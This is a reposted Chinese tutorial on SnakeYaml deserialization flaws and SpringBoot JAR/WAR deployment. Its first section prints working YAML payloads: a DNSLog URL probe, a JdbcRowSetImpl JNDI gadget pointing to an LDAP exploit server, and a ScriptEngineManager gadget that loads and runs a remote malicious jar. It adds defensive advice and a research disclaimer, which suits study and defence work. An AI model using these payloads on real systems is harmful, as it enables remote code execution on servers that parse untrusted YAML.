第52天-Java安全之SnakeYaml反序列化与SpringBoot打包部署实战

admin 2026-03-03 06:08:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文阐述SnakeYaml反序列化漏洞原理与DNSLog、JNDI注入、SPI机制RCE三种利用方式,提出白名单防御建议。同时介绍SpringBoot项目JAR与WAR打包部署流程,并针对JavaEE部署源码泄露风险,建议混淆代码与外部化配置。 综合评分: 85 文章分类: 漏洞分析,实战经验,漏洞POC,应用安全,安全开发


cover_image

第52天-Java安全之SnakeYaml反序列化与SpringBoot打包部署实战

原创

萧瑶 萧瑶

AlphaNet

2026年2月25日 11:41 江苏

在Java开发中,数据的序列化与反序列化是常见操作,它们用于对象持久化、网络传输、配置解析等场景。然而,不安全的反序列化也可能引入严重的安全漏洞。本文将首先探讨SnakeYaml库的反序列化机制及其潜在的安全风险,随后详细介绍SpringBoot项目的JAR与WAR打包部署方式,帮助开发者全面理解这些关键技术点。

一、SnakeYaml反序列化

1.1 SnakeYaml简介

SnakeYaml是Java中用于解析和生成YAML格式数据的库。YAML(YAML Ain’t Markup Language)是一种人类可读的数据序列化格式,常用于配置文件。SnakeYaml提供了简单易用的API,能够将Java对象与YAML文本相互转换。

Maven依赖:

<dependency>

<groupId>org.yaml</groupId>

<artifactId>snakeyaml</artifactId>

<version>1.32</version>

</dependency>

1.2 基本使用

SnakeYaml的核心功能通过Yaml类提供:

· Yaml.dump(Object data):将Java对象序列化为YAML字符串。

· Yaml.load(String yaml):将YAML字符串反序列化为Java对象。

· Yaml.loadAs(String yaml, Class type):指定类型反序列化。

测试发现:load()和loadAs()在反序列化时会调用目标类的setter方法,这一特性为漏洞利用埋下了伏笔。

1.3 反序列化漏洞原理

SnakeYaml在反序列化时,允许通过YAML内容指定任意类的全限定名,并实例化该对象。如果应用从不可信来源加载YAML数据,攻击者可以构造恶意YAML,触发目标类的构造方法或setter中的危险操作,导致JNDI注入、RCE等后果。

下面介绍三种常见的攻击载荷(Payload)。


1.4 攻击载荷示例

(1) URL链(探测DNSLog)

利用java.net.URL类发起网络请求,可结合DNSLog平台验证漏洞是否存在。

!!java.net.URL ["http://your-dnslog-domain/"]

当SnakeYaml反序列化此YAML时,会创建URL对象并尝试连接(例如调用hashCode()或equals()触发DNS解析),从而留下访问记录。

(2) JdbcRowSetImpl链(JNDI注入)

com.sun.rowset.JdbcRowSetImpl是JDK自带的一个类,其dataSourceName和autoCommit属性可触发JNDI查找,若配合恶意LDAP/RMI服务器,可实现远程代码执行。

!!com.sun.rowset.JdbcRowSetImpl

dataSourceName: "ldap://localhost:1389/Exploit"

autoCommit: true

反序列化时,setAutoCommit(true)会调用connect()方法,从而执行JNDI查找,加载远程恶意类。

(3) ScriptEngineManager链(SPI机制+RCE)

这是最经典的SnakeYaml RCE利用方式,通过SPI机制加载恶意Jar包。攻击步骤:

  1. 编写恶意类:实现javax.script.ScriptEngineFactory接口,在getScriptEngine等方法中写入恶意代码。

  2. 编译并打包:

javac AwesomeScriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .
  1. 启动HTTP服务:将jar包置于Web服务器(如Python的http.server)。
python -m http.server 9999
  1. 构造YAML Payload:
!!javax.script.ScriptEngineManager [

!!java.net.URLClassLoader [[

!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]

]]

]

当SnakeYaml反序列化此YAML时,会创建URLClassLoader加载远程jar,然后ScriptEngineManager通过SPI机制实例化其中的恶意ScriptEngineFactory,导致任意代码执行。

安全提示:在生产环境中,务必避免直接反序列化不可信的YAML数据,可通过白名单限制类加载,或使用安全的配置解析库。


二、SpringBoot打包部署:JAR与WAR

SpringBoot项目通常打包成可执行的JAR或传统的WAR文件,分别适用于不同部署场景。

2.1 JAR包部署

SpringBoot默认打包为JAR,内嵌了Tomcat等Servlet容器,可直接通过Java命令运行,无需外部Web服务器。

打包步骤:

  1. 在pom.xml中确保使用spring-boot-maven-plugin(SpringBoot项目默认包含)。

  2. 执行Maven命令:

mvn clean package
  1. 运行JAR:
java -jar target/xxxxx.jar

常见问题:

· 端口冲突、配置文件缺失等。参考解决方案:

· https://blog.csdn.net/Mrzhuangr/article/details/124731024

· https://blog.csdn.net/wobenqingfeng/article/details/129914639

2.2 WAR包部署

若需要将SpringBoot应用部署到外部Tomcat等容器,需打包为WAR。

修改步骤:

  1. 在pom.xml中修改打包方式:
<packaging>war</packaging>
  1. 修改启动类,继承SpringBootServletInitializer并重写configure方法:
public class TestSwaggerDemoApplication extends SpringBootServletInitializer {

@Override

protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {

return builder.sources(TestSwaggerDemoApplication.class);

}

// ... 其他代码

}
  1. 执行打包:
mvn clean package
  1. 将生成的xxx.war复制到Tomcat的webapps/目录下,启动Tomcat即可自动解压部署。

注意:需要排除SpringBoot内嵌的Tomcat依赖,以免与外部容器冲突(通常通过设置provided作用域完成,但SpringBoot官方starter已处理)。


三、安全提示:JavaEE源码架构

在JavaEE应用部署时,需注意源码泄漏风险。即使没有直接提供源码下载,攻击者仍可能通过反编译WAR或JAR中的class文件获取业务逻辑。因此:

· 部署前应混淆或加密关键代码。

· 避免将敏感信息(如数据库密码、密钥)硬编码在配置文件中,可使用外部配置中心或环境变量。


四、总结

本文介绍了SnakeYaml反序列化漏洞的原理与常见利用方式,并梳理了SpringBoot项目JAR与WAR打包部署的流程。理解这些知识,既能帮助开发者在日常编码中规避风险,也能提升部署运维的效率。希望读者在实际开发中保持安全意识,构建更健壮的Java应用。


参考资料:

· SnakeYaml反序列化分析

· SpringBoot打包部署指南

(本文为学习笔记,部分示例仅用于安全研究,请勿用于非法用途。)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:AlphaNet 萧瑶 萧瑶《第52天-Java安全之SnakeYaml反序列化与SpringBoot打包部署实战》

河北网盾全国招聘英才 网络安全文章

河北网盾全国招聘英才

文章总结: 该文档主要包含河北网盾网络科技有限公司的全国招聘启事及网络安全攻防实验室社群的推广信息。招聘方面面向全国诚聘大客户经理,不限学历与地域,覆盖多个省市
评论:0   参与:  0